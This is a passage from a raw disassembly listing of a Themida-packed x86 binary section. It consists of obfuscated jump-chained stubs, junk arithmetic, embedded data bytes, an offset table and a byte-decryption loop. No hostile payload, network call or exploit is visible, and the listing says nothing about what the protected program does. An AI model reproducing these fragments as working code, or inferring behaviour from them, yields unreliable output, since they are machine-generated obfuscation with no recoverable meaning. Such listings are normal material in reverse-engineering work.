		dd 6E9535Ch, 81FFFFE9h,	231EBDEBh, 0E9C30145h, 0FFFFFCA4h
; ---------------------------------------------------------------------------


loc_54EF78:				; CODE XREF: Themida_:0054B86Dj
		push	52F6h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		push	ebx
		mov	ebx, 735853CDh
		xor	ebx, 735853C9h
		jmp	loc_548A64
; ---------------------------------------------------------------------------
		dw 81E9h
		dd 59FFFF4Ah, 8BE70058h, 0C4812404h, 4,	0FF7756E9h, 6DE943FFh
		dd 8BFFFFE8h, 89502434h, 405E0h, 4050000h, 0E9000000h
		dd 0FFFF734Eh, 79E9D828h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EFD3:				; CODE XREF: Themida_:0054ABDFj
		and	ebx, 20004328h
		add	ebx, 0AF6C0BBEh
		mov	ecx, ebx
		pop	ebx
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	edx, eax
		jmp	loc_54690F
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 61h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EFF7:				; CODE XREF: Themida_:00549CF6j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_547798
; ---------------------------------------------------------------------------
		dd 2C581h, 2C870000h, 0E6FEE924h, 468FFFFh, 5B000000h
		dd 0FF6D4EE9h, 0D830ACFFh, 73ED68h, 24148900h, 0FFD2E4E9h
		dd 0C1EAD1FFh, 0EAD102E2h, 14C2F281h, 0D7095B60h, 92EF815Ah
		dd 81BC0093h, 32CBDC7h,	0A8EF8138h, 0E9333968h,	0FFFF76C6h
		dd 0F65AD720h, 2C8E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F05E:				; CODE XREF: Themida_:0054E61Bj
		sub	eax, 543B563Eh
		add	ebx, eax
		pop	eax
		add	ebx, 4
		jmp	loc_5464AD
; ---------------------------------------------------------------------------
		dw 0F281h
		dd offset dword_43E5AC+5A76h
		dd 65E9D301h, 8BFFFF86h, 0F7662424h, 976866E9h,	14896629h
		dd 9C506624h, 0FF498FE9h, 0B95157FFh, 2D02005Dh, 3F83C181h
		dd 0C149162Fh, 0C18108E1h, 4ED0949h, 44E9CF89h,	0C0FFFFD0h
		dd 0EC8305EDh, 4896602h, 0B5516624h, 0EF885301h, 665BF888h
		dd 66C50059h, 1A686658h, 1C896650h, 0B9B65224h,	9E9F788h
		dd 8BFFFF6Eh, 5451240Ch, 50240C8Bh, 405E089h, 5000000h
		dd 4, 0E9240487h, 0FFFFE9E6h, 4103C381h, 0D3F713A2h, 3ECCB951h
		dd 0CB31EC3Dh, 8BDA0159h, 0C481241Ch, 4, 5C241487h, 0FF6725E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F11D:				; CODE XREF: Themida_:0054D8BAj
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54DF56
; ---------------------------------------------------------------------------
		dw 0F189h
		dd 0E959CB89h, 0FFFF6362h, 0F2753005h, 55F02954h, 0F27530BDh
		dd 0E9E82954h, 0FFFF970Bh, 0C681C601h, 29612189h, 0E9F20158h
		dd 0FFFFDECAh
; ---------------------------------------------------------------------------


loc_54F158:				; CODE XREF: Themida_:00548D02j
		mov	ecx, 668800E8h
		add	ebx, 0D041030h
		sub	ebx, ecx
		sub	ebx, 0D041030h
		pop	ecx
		jmp	loc_54A61C
; ---------------------------------------------------------------------------


loc_54F171:				; CODE XREF: Themida_:00546AE6j
		pop	ebp
		pop	eax
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		xchg	esi, [esp]
		xchg	ebx, esi
		not	ebx
		jmp	loc_543FDA
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4B850h, 0C2290000h, 24148758h, 2424895Ch,	4240481h
		dd 5E000000h, 4BF57h, 0FE010000h, 4EE815Fh, 87000000h
		dd 248B2434h, 242C8924h, 0FFB4AEE9h, 0EA32DFFh,	0E42D03BCh
		dd 591EE523h, 2BA52h, 2CE90000h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F1DF:				; CODE XREF: Themida_:00548B85j
		pop	ecx
		push	ebx
		mov	bx, 1388h
		sub	bx, 777Bh
		shl	bx, 5
		inc	bx
		inc	bx
		xchg	dx, bx
		inc	dx
		xchg	dx, bx
		add	bx, 0F81Eh
		sub	si, bx
		mov	ebx, [esp]
		add	esp, 4
		or	si, 2871h
		xor	si, 0DF99h
		add	bx, si
		pop	esi
		jmp	loc_54BEEC
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFD570E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F221:				; CODE XREF: Themida_:005480D9j
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_54B154
; ---------------------------------------------------------------------------
		dd 7FCC88BAh, 8BD1311Eh, 54562414h, 8324348Bh, 0C68104C4h
		dd 4, 8704C683h, 0E95C2434h, 0FFFFCBBBh, 33240431h, 665C2404h
		dd 5FE9F1F7h, 21FFFF67h, 13E91C4Fh
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F267:				; CODE XREF: Themida_:0054B1E3j
		mov	[esp], eax
		push	48373149h
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 85C7FDAh
		add	eax, 72CF7517h
		add	eax, edx
		sub	eax, 72CF7517h
		pop	edx
		push	ecx
		jmp	loc_54ABD3
; ---------------------------------------------------------------------------


loc_54F291:				; CODE XREF: Themida_:005447E6j
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		pop	eax
		add	eax, 4
		push	edx
		jmp	loc_54CE2E
; ---------------------------------------------------------------------------


loc_54F2A8:				; CODE XREF: Themida_:00548D97j
		pop	dword ptr [eax]
		jmp	loc_543A20
; ---------------------------------------------------------------------------
		db 83h
		dd 516604C4h, 742FE953h, 15DFFFFh, 8B04246Ch, 8950242Ch
		dd 405E0h, 4050000h, 50000000h,	42474FFh, 24048F58h, 8AC6E95Ch
		dd 0C8BFFFFh, 4C48124h,	5000000h, 4, 0E9240433h, 0FFFF872Ah
; ---------------------------------------------------------------------------


loc_54F2F4:				; CODE XREF: Themida_:0054655Fj
		mov	[esp], ebx
		jmp	loc_54BBBF
; ---------------------------------------------------------------------------


loc_54F2FC:				; CODE XREF: Themida_:0054F377j
		sub	esp, 4
		mov	[esp], edx
		mov	ebp, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_549E1C
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0E9525954h, 0FFFF541Fh
; ---------------------------------------------------------------------------


loc_54F31C:				; CODE XREF: Themida_:00548BB8j
		mov	ebx, 4
		jmp	loc_548E80
; ---------------------------------------------------------------------------
		dw 0DFF6h
		dd 6687CF80h, 0E913F468h, 0FFFF7C17h, 240C8B66h, 291F68h
		dd 0FBA5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F342:				; CODE XREF: Themida_:0054C09Dj
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_54C122
; ---------------------------------------------------------------------------


loc_54F359:				; CODE XREF: Themida_:00548F4Fj
		xor	esi, edi
		pop	edi
		and	ecx, esi
		jmp	loc_549E04
; ---------------------------------------------------------------------------
		db 83h
		dd 2FE904C4h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F36B:				; CODE XREF: Themida_:0054BC84j
		add	edx, 0BF4EBBh
		xor	edx, 3FA470FCh
		jmp	loc_54F2FC
; ---------------------------------------------------------------------------
		dd 3ACE815Dh, 8162E26Ch, 0EF6D3AEEh, 5EF00163h,	3304C083h
		dd 4312404h, 24043324h,	4C4835Ch, 79C46853h, 8F540000h
		dd 4812404h, 424h, 0BE565B00h, 4, 71E9F301h, 68FFFF63h
		dd 1CE9h, 0B1240C89h, 0C0C9FE53h, 0F18007E1h, 0E8F18075h
		dd 0B753E1D0h, 0DEC780E7h, 0DFF780h, 5AE95BF9h,	28FFFFEBh
		dd 5AA604F0h, 4EC81h, 4E90000h,	81FFFFEBh, 621C02EBh, 81C32927h
		dd 621C02C3h, 0C3015827h, 8904EC83h, 56512404h,	0A30BF68h
		dd 3BE95E19h, 0C1FFFF8Bh, 814202EAh, 36E6D0C2h,	5AD701EFh
		dd 2474FF57h, 48F5F04h,	4F2AE924h, 8B66FFFFh, 54522404h
		dd 0FF899CE9h, 45DEE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F442:				; CODE XREF: Themida_:00548991j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 21FA4A00h
		push	esi
		mov	esi, 690C69C6h
		inc	esi
		jmp	loc_54518A
; ---------------------------------------------------------------------------
		dd 8102EEC1h, 0CF9B89C6h, 0C693E9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F472:				; CODE XREF: Themida_:0054BDC7j
		sub	eax, 40312D3Ah
		jmp	loc_543E9E
; ---------------------------------------------------------------------------
		dd 4C481h, 88510000h, 0F89FE9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F48A:				; CODE XREF: Themida_:0054D5E3j
		push	eax
		mov	eax, 771700C9h
		xor	ebp, eax
		pop	eax
		xor	ebx, ebp
		jmp	loc_547436
; ---------------------------------------------------------------------------


loc_54F49A:				; CODE XREF: Themida_:0054AB1Ej
		shr	ecx, 5
		push	ebx
		mov	ebx, 63E241E4h
		xor	ebx, 18555203h
		or	ecx, ebx
		pop	ebx
		push	ebx
		jmp	loc_5445C2
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 9C43ED81h, 0EB292868h, 148B665Dh, 6C956824h,	4890000h
		dd 55585424h, 4BDh, 50D20500h, 83E93CB5h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F4DB:				; CODE XREF: Themida_:0054A11Aj
		add	ecx, 0F0C3BDEh
		and	ecx, 3C0F6E91h
		jmp	loc_545A75
; ---------------------------------------------------------------------------


loc_54F4EC:				; CODE XREF: Themida_:0054FBB0j
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_54DACA
; ---------------------------------------------------------------------------
		dd 247C015Ah, 24448104h, 0D074EA04h, 348B5F7Dh,	0D2F6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F516:				; CODE XREF: Themida_:0054B297j
		xor	edx, edi
		xor	edi, edx
		sub	esp, 4
		jmp	loc_546B8C
; ---------------------------------------------------------------------------
		dw 8950h
		dd 405E0h, 9DE90000h, 8BFFFFA3h, 0C483241Ch, 7D02E904h
		dd 0B951FFFFh, 5C503CDDh, 4941D1F7h, 5DA1C181h,	814198F1h
		dd 135794E1h, 0F6C18172h, 814E242Fh, 0D06BCEF1h, 0E9CF014Fh
		dd 0FFFFE20Eh
; ---------------------------------------------------------------------------


loc_54F564:				; CODE XREF: Themida_:00547D34j
		not	esi
		push	esi
		inc	dword ptr [esp]
		jmp	loc_548E00
; ---------------------------------------------------------------------------
		db 29h
		dd 13C681DEh, 5B313432h, 0FF743DE9h, 2434FFFFh,	8124048Bh
		dd 4C4h, 567BE900h, 68FFFFh, 89000072h,	2CE9240Ch
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F59B:				; CODE XREF: Themida_:00548FB3j
		add	ebx, edx
		push	edi
		push	ebx
		mov	ebx, 3C945BA4h
		mov	edi, ebx
		pop	ebx
		sub	ebx, edi
		pop	edi
		mov	ecx, [ebx]
		pop	ebx
		pop	edx
		push	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 9315FE4h
		shl	ecx, 8
		sub	ecx, 1
		xor	ecx, 3F0D1E9Ah
		push	eax
		jmp	loc_54C978
; ---------------------------------------------------------------------------
		db 0FFh
		dd 53582434h, 4EC81h, 24890000h, 24048324h, 0C3815B04h
		dd 4, 4EB81h, 1C870000h, 0A59CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F5F6:				; CODE XREF: Themida_:0054FA6Cj
		add	ebx, 0FFFFFFFFh
		shl	ebx, 4
		sub	ebx, 20577C04h
		jmp	loc_5450C2
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 0E9000000h, 0FFFFAB9Ah
; ---------------------------------------------------------------------------


loc_54F614:				; CODE XREF: Themida_:005499E2j
		pop	esi
		jmp	loc_54D94D
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 83000000h,	0C8704C1h
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_548DB7
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 243C8904h, 0FFB02DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F63D:				; CODE XREF: Themida_:0054B580j
		mov	ah, 47h
		push	ebx
		mov	bl, 0BEh
		and	ah, bl
		pop	ebx
		jmp	loc_54B894
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 6E92404h, 68FFFFD6h,	4CCEh, 0FF4E1CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F65D:				; CODE XREF: Themida_:0054C3EBj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_543B05
; ---------------------------------------------------------------------------
		dw 0FA29h
		dd 0FF45BFE9h, 0F7DDF7FFh, 49E957D5h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F67F:				; CODE XREF: Themida_:0054C807j
		push	eax
		pop	ebx
		pop	eax
		jmp	loc_549D23
; ---------------------------------------------------------------------------
		db 31h
		dd 3C33243Ch, 24248B24h, 9C2424D3h, 0FF4387E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F699:				; CODE XREF: Themida_:00549A6Ej
		add	esp, 4
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_545B89
; ---------------------------------------------------------------------------
		dw 515Ch
		dd 2B9h, 59CA0100h, 8B241487h, 24D22424h, 5DE99C24h
		db 43h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F6C3:				; CODE XREF: Themida_:0054993Bj
		add	esi, 49882C7Dh
		pop	edi
		jmp	loc_54945B
; ---------------------------------------------------------------------------
		db 0FEh
		dd 3CF380C3h, 0FEB5EB80h, 9BE380C3h, 28BEEB80h,	0DFE95BD8h
		dd 0FFFFFFA3h, 34FF2434h, 5FE95824h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F6F3:				; CODE XREF: Themida_:005462D2j
		sub	ecx, 6CF56967h
		push	eax
		mov	eax, 4138080Bh
		not	eax
		add	eax, 1
		sub	eax, 0A0BE83BBh
		sub	ecx, eax
		jmp	loc_54C691
; ---------------------------------------------------------------------------


loc_54F712:				; CODE XREF: Themida_:00547B7Fj
		add	edx, eax
		add	[edx], esi
		pop	edx
		jmp	loc_54A1DB
; ---------------------------------------------------------------------------


loc_54F71C:				; CODE XREF: Themida_:00544A42j
		add	edi, 175C2F45h
		add	edi, edx
		sub	edi, 175C2F45h
		mov	edx, [esp]
		jmp	loc_54C2C4
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 7AE9240Ch, 81FFFF6Fh, 2EBh, 241C8700h, 1489665Ch, 9C506624h
		dd 0FF42CFE9h, 7E7C1FFh, 0C839F781h, 0E9575DF5h, 0FFFF849Bh
		dd 5724048Fh, 0FFDB02E9h, 685253FFh, 1C5E708Bh,	0FAF2815Ah
		dd 5172357Ch, 0E7558FB9h, 59CA2904h, 4DE9D2F7h,	81FFFF5Bh
		dd 4C4h, 0D8E95100h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F793:				; CODE XREF: Themida_:0054E7B8j
		mov	ecx, 770B30C6h
		jmp	loc_54BF97
; ---------------------------------------------------------------------------
		db 0BFh, 62h, 59h
		dd 0F7813D28h, 3D285960h, 24048157h, 282A3482h,	82EB815Bh
		dd 5F282A34h, 90E9DA01h, 0C1FFFF9Ah, 0C38108EBh, 3F3B3503h
		dd 0FF502FE9h, 0B75BB2FFh, 5AD7288Ah, 80FFEF80h, 1EE955CFh
		dd 54FFFFC1h, 96CFE95Eh, 8B5AFFFFh, 0C4832404h,	4EC8304h
		dd 0BE243489h, 3DCE00ADh, 7E64352Dh, 0C418E913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F802:				; CODE XREF: Themida_:00544C78j
		xor	edi, 719642FEh
		neg	edi
		jmp	loc_547E6C
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFC078E9h, 2404FEFFh, 4202E99Ch, 0C89FFFFh,	62BE5624h
		dd 0E957D029h, 0FFFF7BACh, 0E78957ACh, 4C781h, 0BE560000h
		dd 4, 575EF729h, 42474FFh, 83243C8Bh, 48F04C4h,	24248B24h
		dd 52241C89h, 0FF6681E9h, 0C8966FFh, 6917E924h,	9F68FFFFh
		dd 8B697764h, 0C483242Ch, 0A9E95504h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F873:				; CODE XREF: Themida_:0054C990j
		mov	ebp, 0C925E80Bh
		sub	ecx, ebp
		pop	ebp
		mov	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esi, 0FFFFFFFFh
		jmp	loc_548F49
; ---------------------------------------------------------------------------
		dd 0B252812Ch, 0C0DAF6D5h, 0F28007E2h, 80C2FE2Bh, 0D10461F2h
		dd 0E4E9D000h, 81FFFFB7h, 0BB4A65CDh, 1FC5812Fh, 81504430h
		dd 1C0458C6h, 0BC78E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F8CE:				; CODE XREF: Themida_:00546B11j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_54790D
; ---------------------------------------------------------------------------
		dw 0D0BFh
		dd 31360B7Eh, 0E904247Ch, 0FFFF5F05h, 5C240487h, 0FF6E68E9h
		dd 24248BFFh, 240CD366h, 411AE99Ch, 0BA52FFFFh,	25A265F0h
		dd 0FFCB22E9h, 9C5066FFh, 0FF4107E9h, 0BA525EFFh, 5720249Ah
		dd 0E7E9D329h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F927:				; CODE XREF: Themida_:00545947j
		shl	ecx, 7
		add	ecx, 426728BDh
		xor	ecx, 0AA77B7D9h
		xor	esi, ecx
		jmp	loc_54C383
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 83C0E904h, 0EE81FFFFh, 679B24F6h, 4C6815Ah, 0E9000000h
		dd 0FFFF9A79h, 24048B66h, 1D7A68h, 0CA7AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F966:				; CODE XREF: Themida_:00549513j
		dec	ecx
		dec	ecx
		add	ecx, 0DE63B7Fh
		jmp	loc_54BC12
; ---------------------------------------------------------------------------
		db 1
		dd 354F05F0h, 348B4484h, 4C48324h, 5C240487h, 0F66F1F6h
		dd 8952CCB6h, 4C281E2h,	83000000h, 3C8904ECh, 2BF24h, 0FA290000h
		dd 5F2434FFh, 0FFCB94E9h, 555758FFh, 0A5216DBDh, 1F4CBF16h
		dd 0A1E9419Eh, 80FFFF69h, 5253E3F2h, 0FFFE08E9h, 6656BFFFh
		dd 0B1E971ABh, 5EFFFFA4h, 0FF404BE9h, 0B6CE81FFh, 812E9C7Ah
		dd 0F4615FC6h, 5EF201DEh, 0F751CA87h, 87592414h, 0E3C281CAh
		dd 1B800B5h, 2434FFD3h,	4C4835Ah, 0FFFD3AE9h, 24048FFFh
		dd 0FF7F72E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FA09:				; CODE XREF: Themida_:00546F86j
		pop	esp
		add	dx, 5480h
		add	ax, 0D6h
		sub	ax, 699Ah
		add	ax, dx
		add	ax, 699Ah
		jmp	loc_54D183
; ---------------------------------------------------------------------------
		db 35h
		dd 2839B7C6h, 34FFC289h, 0C4815824h, 4,	159CA01h, 8B028BFAh
		dd 0C4812414h, 4, 1FDE6851h, 0A6E979CBh, 68FFFF94h, 5C9D7BA6h
		dd 0FF4D9DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FA59:				; CODE XREF: Themida_:00546D80j
		or	eax, ebp
		push	dword ptr [esp]
		jmp	loc_544F95
; ---------------------------------------------------------------------------


loc_54FA63:				; CODE XREF: Themida_:0054E475j
		xor	edx, 5D303BD3h
		mov	ebx, edx
		pop	edx
		jmp	loc_54F5F6
; ---------------------------------------------------------------------------


loc_54FA71:				; CODE XREF: Themida_:005472CBj
		push	6E37h
		mov	[esp], ebx
		mov	ebx, 401C7AEFh
		sub	[esp+8], ebx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [edi+24h]


loc_54FA98:				; CODE XREF: Themida_:0054EAA2j
		push	4720h
		mov	[esp], edx
		mov	edx, ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, edx
		sub	esp, 4
		mov	[esp], ebp
		pop	eax
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_545DED
; ---------------------------------------------------------------------------
		db 0FFh
		dd 505B2434h, 0A8E95854h, 80FFFF77h, 0F188DFF6h, 0FECFB25Ah
		dd 0B65DE9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FAE2:				; CODE XREF: Themida_:0054B7B7j
		push	esi
		pop	ecx
		push	esi
		mov	esi, ecx
		jmp	loc_54A231
; ---------------------------------------------------------------------------
		dd 4EC81h, 1C890000h, 0E9E38924h, 0FFFFB592h, 24148B66h
		dd 66EA68h, 24348900h, 0E955E689h, 0FFFF9B75h, 8124348Bh
		dd 4C4h, 75C0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FB1E:				; CODE XREF: Themida_:0054A617j
		add	eax, ecx
		jmp	loc_5445C9
; ---------------------------------------------------------------------------
		db 66h,	0FFh, 32h
		dd 0FF3EF3E9h, 53EE80FFh, 0FFE082E9h, 0C8750FFh, 87D1F724h
		dd 34FF240Ch, 24048B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_544770
; ---------------------------------------------------------------------------


loc_54FB52:				; CODE XREF: Themida_:0054BF9Dj
		inc	ecx
		jmp	loc_5479ED
; ---------------------------------------------------------------------------


loc_54FB58:				; CODE XREF: Themida_:0054B4A2j
		xchg	ebp, [esp]
		pop	esp
		shl	esi, 5
		xor	esi, 10020004h
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_54D925
; ---------------------------------------------------------------------------


loc_54FB76:				; CODE XREF: Themida_:0054EA2Aj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_543A20
; ---------------------------------------------------------------------------


loc_54FB82:				; CODE XREF: Themida_:00549D25j
		and	ebx, 63D97DC7h
		sub	ebx, 210921A6h
		mov	edx, ebx
		pop	ebx
		push	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 339F620Ah
		mov	eax, edx
		pop	edx
		sub	edx, eax
		pop	eax
		add	edx, edi
		add	edx, 339F620Ah
		push	dword ptr [edx]
		jmp	loc_54F4EC
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 95h
		dd 0E93E2D2Ch, 0FFFFBDEEh, 0C281E289h, 4, 6187B951h, 0E1815769h
		dd 704D0C49h, 5802C981h, 81493484h, 32A802C1h, 59CA018Bh
		dd 5C241487h, 0E904C483h, 0FFFFEC64h, 7FFE0304h, 0FFFF9BCCh
		dd 0FFFF9BC8h, 546B08EBh, 5A7468h, 5A1C2Bh, 0FA50BC74h
		dd 207h, 2, 2 dup(1), 0FA50BC74h, 5 dup(0)
		dd offset word_559C96
		dd offset word_56067E
		dd offset byte_55DEC3
		dd offset dword_55FD68
		dd offset word_55CA72
		dd offset byte_561CA1
		dd offset aNh0_0	; "­hÔ0"
		dd offset byte_564A9D
		dd offset word_563B4A
		dd offset byte_550DA9
		dd offset byte_562EED
		dd offset byte_560513
		dd offset dword_556254
		dd offset byte_556E91
		dd offset dword_559CB8
		dd offset word_561426
		dd offset off_558855
		dd offset byte_5648AD
		dd offset word_55FED2
		dd offset byte_552B81
		dd offset byte_55D273
		dd offset aQs		; "QéÁ("
		dd offset dword_5619D8
		dd offset byte_55E4E1
		dd offset dword_55B160
		dd offset dword_55FD0C
		dd offset byte_5523EB
		dd offset byte_558DCB
		dd offset dword_55EDDC
		dd offset dword_5539BC
		dd offset dword_5509E0
		dd offset word_55075E
		dd offset off_55F1FF
		dd offset byte_555C49
		dd offset word_557C26
		dd offset byte_55D247
		dd offset dword_55C8E0
		dd offset byte_553A55
		dd offset dword_55204C
		dd offset word_563D72
		dd offset dword_5539C4
		dd offset byte_550827
		dd offset word_55A926
		dd offset word_55E6DA
		dd offset byte_55CD97
		dd offset dword_5582E8
		dd offset word_563512
		dd offset word_560492
		dd offset word_551D76
		dd offset aMrRaHsmi	; "¬R²€êHémI"
		dd offset byte_564C8D
		dd offset dword_55C63C
		dd offset word_55F962
		dd offset byte_557B0B
		dd offset byte_5565A3
		dd offset dword_5579A8
		dd offset byte_559855
		dd offset byte_5653FD
		dd offset word_561AC2
		dd offset aMqhr		; "¬Qhà\a"
		dd offset byte_5581F1
		dd offset byte_559B7F
		dd offset byte_5509C5
		dd offset byte_564907
		dd offset byte_550313
		dd offset dword_552A48
		dd offset byte_5641C5
		dd offset byte_5569F3
		dd offset dword_551900
		dd offset dword_555D50
		dd offset byte_5542C5
		dd offset byte_558955
		dd offset dword_561234
		dd offset dword_55C37C
		dd offset word_556EF2
		dd offset word_55ADAE
		dd offset aMh		; "¬hÃ~"
		dd offset byte_564273
		dd offset word_55F606
		dd offset dword_56235C
		dd offset byte_551AC3
		dd offset dword_5584E0
		dd offset byte_55B7F3
		dd offset word_55D23E
		dd offset byte_55F31F
		dd offset word_550BAE
		dd offset byte_55DCB5
		dd offset word_55F552
		dd offset word_553042
		dd offset byte_555303
		dd offset dword_5626C4
		dd offset byte_5554C7
		dd offset byte_556665
		dd offset aN1Ha		; "­1Øh]"
		dd offset word_565576
		dd offset dword_55CAEC
		dd offset byte_553675
		dd offset word_55A932
		dd offset byte_55BD0B
		dd offset byte_554B03
		dd offset word_55E8C6
		dd offset word_55145E
		dd offset dword_555838
		dd offset dword_55C0C4
		dd offset byte_559675
		dd offset dword_5627E4
		dd offset byte_558997
		dd offset dword_563934
		dd offset dword_5517AC
		dd offset byte_550D3F
		dd offset byte_55FB99
		dd offset dword_5564DC
		dd offset byte_550AB7
		dd offset word_55E69E
		dd offset word_55EF06
		dd offset dword_550040
		dd offset byte_558AE9
		dd offset dword_55C488
		dd offset byte_55A7D3
		dd offset dword_553594
		dd offset aNh4		; "­h4+"
		dd offset byte_55D4EF
		dd offset dword_5587BC
		dd offset word_55D70E
		dd offset byte_5535A1
		dd offset dword_557C0C
		dd offset word_55E92E
		dd offset aNsP		; "­é#¯"
		dd offset byte_5540E9
		dd offset dword_560D7C
		dd offset word_550AFE
		dd offset byte_555AF1
		dd offset byte_555BCD
		dd offset dword_55B720
		dd offset aNups6	; "­UPé6š"
		dd offset dword_558CFC
		dd offset dword_559078
		dd offset byte_55F9D9
		dd offset byte_5543C3
		dd offset word_55C54E
		dd offset dword_55F724
		dd offset word_551D6E
		dd offset byte_55182D
		dd offset byte_555A85
		dd offset byte_563B9F
		dd offset word_551D02
		dd offset aM0Hr		; "¬0Øhr-"
		dd offset byte_553555
		dd offset byte_55DA6D
		dd offset byte_555E3F
		dd offset byte_55AE1B
		dd offset word_555066
		dd offset byte_5618AF
		dd offset word_563486
		dd offset dword_55E7F8
		dd offset word_559776
		dd offset byte_5626A5
		dd offset word_55575A
		dd offset byte_561F3D
		dd offset dword_563708
		dd offset word_5506FA
		dd offset dword_551B08
		dd offset word_556FC6
		dd offset byte_55C171
		dd offset byte_5539E1
		dd offset dword_553370
		dd offset word_558332
		dd 0E8FC9C60h, 0
		dd 64EF815Fh, 8B060442h, 7CC781C7h, 3B06043Fh, 2752C47h
		dd 478913EBh, 0A7B92Ch,	5EB0000h, 408F4401h, 75C90B49h
		dd 24748BF7h, 3DE8B24h,	1B9F0h,	0C0330000h, 4FB10FF0h
		db 30h,	75h, 0F7h
; ---------------------------------------------------------------------------


loc_54FF17:				; CODE XREF: Themida_:0055002Ej
					; Themida_:0055192Bj ...
		lodsb
		xor	al, bl
		push	ecx
		jmp	loc_5653C3
; ---------------------------------------------------------------------------


loc_54FF20:				; CODE XREF: Themida_:005569EEj
		or	eax, ebx
		pop	ebx
		push	edx
		push	850281C3h
		pop	edx
		push	esi
		mov	esi, 39B06C95h
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 59642928h
		add	eax, edx
		sub	eax, 59642928h
		add	eax, 39B06C95h
		jmp	loc_552915
; ---------------------------------------------------------------------------


loc_54FF4E:				; CODE XREF: Themida_:00554BD4j
		pop	esi
		jmp	loc_560DFE
; ---------------------------------------------------------------------------
		dd 24048F54h, 5EE168h, 240C8900h, 385EE9h, 4FE18100h, 0E948791Ah
		dd 40D1h
; ---------------------------------------------------------------------------


loc_54FF70:				; CODE XREF: Themida_:00551BF9j
